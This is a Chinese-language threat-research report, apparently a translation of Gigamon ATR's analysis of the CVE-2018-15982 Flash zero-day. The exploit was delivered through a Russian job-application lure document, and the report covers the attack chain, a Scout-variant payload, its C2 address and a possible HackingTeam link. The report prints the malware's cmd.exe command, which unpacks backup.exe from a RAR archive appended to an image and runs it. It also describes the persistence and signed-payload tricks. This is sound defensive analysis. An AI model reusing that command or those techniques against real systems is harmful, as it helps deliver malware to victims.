概述
Gigamon Applied Threat Research(ATR)根据Microsoft Office文档,确认了一次对Adobe Flash中0day漏洞的恶意利用。该漏洞(CVE-2018-15982)允许攻击者恶意制作的Flash对象在受害者的计算机上执行代码,从而获取对系统命令行的访问权限。该文件是从一个位于乌克兰的IP地址提交到VirusTotal的,恶意文档伪装成提交给俄罗斯国家医疗诊所的求职申请。
本文主要对恶意文档(22.docx)进行分析,并详细分析了攻击链的技术细节,同时针对发现的一系列值得关注的特性进行了描述。此外,我们还研究了此次攻击与已知恶意活动之间的关联,从而更加广泛地了解如何能识别并检测出类似攻击。
Gigamon ATR在2018年11月29日(星期四)的上午2点向Adobe产品安全事件响应小组(PSIRT)报告了这一漏洞。Adobe迅速采取了措施,并与Gigamon ATR合作复现这一漏洞,在2018年12月5日发布了针对该漏洞的安全补丁,并为该漏洞分配编号CVE-2018-15982。
目标分析
“22.docx”是以俄文写成的文档,伪装成俄罗斯国家医疗诊所的求职申请。在该文档中,包含7页个人相关信息,这些信息一般都会出现在个人求职申请之中。该文档的创建者为tvkisdsy。
我们对文档页头的LOGO进行分析,表明该文档是提交给俄罗斯国家医疗保健系统的“2号诊所”。2号综合诊所是一家位于俄罗斯莫斯科的成人门诊诊所。文档中包含的LOGO与该诊所的真实LOGO、公开网站上发现的LOGO均相符。
尽管诱饵文档看似具有高度针对性,但ATR早些时间已经观察到其他鱼叉式网络钓鱼攻击的诱饵文档与其实际的攻击目标无关,所以我们无法确认此次恶意活动所针对的目标。
攻击技术概述
该恶意活动所采用的攻击技术本质上非常简单。这些文档在头部包含一个嵌入式的Flash Active X控件(如下图所示),该控件会在文档打开时执行,并导致Office中的Flash播放器被恶意利用。在漏洞利用之后,将执行恶意命令,该命令尝试提取并执行文档附带的Payload。
漏洞利用
尽管业界已经努力在最新版本的Web浏览器中放弃使用Flash并删除Flash组件,但Microsoft Office仍然能够加载和执行Flash内容。因此,攻击者利用这一0day漏洞发动攻击是有价值的,这些漏洞允许攻击者执行任意命令。因此,只要存在能够可靠执行的武器化工具,这一漏洞就可以被利用。
在这种特定情况下,Flash漏洞利用工具完全被封装在文档中,并且支持32位和64位系统(具有相应的ShellCode)。包含Flash文件的容器中存在一个硬编码路径“C:run.de.swf”,该路径可能代表武器化阶段的文件路径。Flash文件和ShellCode没有使用任何形式的远程调用、分阶段、模糊处理或反分析机制。在两个ShellCode中,都使用了相同的“cmd.exe”来执行恶意命令:
C:WINDOWSsystem32cmd.exe /c set path=%ProgramFiles(x86)%WinRAR;C:Program FilesWinRAR; && cd /d %~dp0 & rar.exe e -o+ -r -inul*.rarscan042.jpg & rar.exe e -o+ -r -inulscan042.jpg backup.exe & backup.exe
上述命令首先将同一目录下的任意.rar文档解压缩,然后从scan042.jpg中解压出backup.exe文件,然后执行backup.exe文件,也就是最终的Payload。
我们的测试表明,只要从压缩包中打开恶意文档,就能够使漏洞利用代码和最终Payload运行,用户不需要事先将恶意文档(诱饵文档)进行解压缩。
Payload
我们没有监测到这一恶意活动对受害者的攻击行为。然而,通过复现和进一步研究,我们根据提交的细节、预期行为、时间接近程度和文件名相似程度,发现了相关联的Payload,并将其标为中等偏高置信度。我们认为,该Payload是Scout恶意软件的变种。
最初在scan042.jpg中的Payload的文件名为backup.exe,这是一个Windows可执行文件,根据其元数据表明,它伪装成“NVIDIA控制面板”,并且具有相匹配的图标和详细信息。该可执行文件受到VMProtect保护,这是一种防止逆向工程和安全分析的机制。在执行时,Payload会收集系统信息,建立持久性,并通过HTTP POST与远程服务器通信。我们观察到,其表现出以下行为:
1、枚举系统信息(利用WMI查询在本地进行枚举)
2、通过计划任务的方式增加持久性:
(1) 将填充数据添加到backup.exe中
(2) 将填充二进制文件放在%LOCALAPPDATA%NVIDIAControlPanelNVIDIAControlPanel.exe的位置
(3) 设置在用户登录时启动
3、使用HTTP POST方式,将Base64编码后的内容发送到“dotted-quad”:
(1) 硬编码命令与控制地址:188.241.58[.]68
(2) 硬编码User-Agent字符串:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
(3) 在网络回调之间,休眠5分钟
下图展示了恶意软件创建的任务计划,以确保重新启动后具有持久性:
下午展示了恶意软件执行的网络回调示例:
backup.exe签署了一份合法的、现已被撤销的证书,该证书颁发给IKB SERVICE UK LTD,其序列号为57:5F:C1:C6:BC:47:F3:CF:AB:90:0C:6B:C1:8A:EF:6D,指纹为D8:7A:A2:1D:AB:22:C2:F1:23:26:0B:1D:7A:31:89:3C:75:66:B0:89。有效的证书往往会增强文件的可信度,可能会欺骗反病毒和自动检测系统。
下图展示了网络回调的周期性:
下图展示了用于签署恶意软件的合法证书:
对元数据的分析
我们对VirusTotal样本进行了人工分析,并发现该样本是0day漏洞利用文档,我们在得到该文档后的2小时内将其提交给Adobe。通过分析22.docx中保存的元数据,我们得出如下分析:
附加文档:利用文档中的创建者字段,我们在短时间之内就找到了同一国家相同VirusTotal ID提交的另一个文档(33.docx)。第二个文件几乎包含相同的内容,其中包括CVE-2018-15982的利用。第二份文件中还包含一个名为“Кирдакова”(Kirdakova)的文件修改者,这是一个普通的俄罗斯姓氏。此外,还包含一个公司字段“Uito”。
相关Payload:在识别出恶意文档可能使用的文件名后,我们在VirusTotal中筛选了特定范围的文件(通过提交者ID、国家和时间范围)。将压缩包附加到图像中,是一种常见的恶意技术,WinRAR仍然可以识别并解压缩这样的压缩包。
相关恶意二进制文件:通过对我们已经获得的样本进行分析,我们获取了样本的证书,并识别出另一个创建时间更早的文件(c2a827cd8aefa54fb2f91b0f767292d94f5ef7dde9c29090e6be21d34efd1449.exe)。
关于HackingTeam
HackingTeam是意大利的一家安全公司,该公司销售远程访问和远程监控工具,并提供相应服务。该公司在2015年遭到黑客入侵,攻击者将其内部数据(例如电子邮件和源代码)传播出去,并据此制作了一系列后门和漏洞。在这一信息泄露事件发生后,世界各地的攻击者纷纷利用HackingTeam工具实现恶意活动。本次漏洞利用的工具比较可靠,并且是针对特定未修复的漏洞。
我们根据漏洞利用过程和Payload的使用,发现此次攻击采用的技术与HackingTeam使用的相类似。将此次恶意活动与之前HackingTeam活动相对比,其共同点在于:
1、都使用了VMProtect进行保护。
2、二者都使用经过数字签名的Payload和伪造的元数据,伪装成合法的应用程序。
3、在ESET发布关于HackingTeam和Callisto Group恶意活动报告后不到一周,此次恶意活动所使用的证书就已经创建。尽管我们不能确定,但该证书可能是此前Callisto Group恶意活动的后续活动。
4、我们分析的Scout Payload,与ESET分析的威胁使用了相同的内容填充二进制文件。
5、多个反病毒产品都将Payload检测为CrisisHT(HackingTeam)。
6、在恶意文档中使用了相似的0day攻击技术,特别是嵌入在Microsoft Office文档中的恶意代码。这些漏洞利用程序同时包含支持32位和64位的漏洞利用工具以及ShellCode。
我们之所以没有确切地将该恶意活动与这个黑客组织相关联,主要是因为以下两个原因:
1、恶意人员利用泄露的源代码,可以轻易模仿并改写一个新的HackingTeam TTP工具。
2、该样本中缺少远程包含或额外Web请求漏洞利用组件,而HackingTeam在2013年就使用了这些组件。
考虑到上述因素,并且鉴于我们目前有限的证据,我们很难准确判断出此次恶意活动的幕后元凶。但实际上,无论是这个黑客团队还是模仿者所为并不重要,重要的是有效的0day漏洞仍在被广泛用于针对特定目标的攻击之中。
附录:样本信息
原文链接: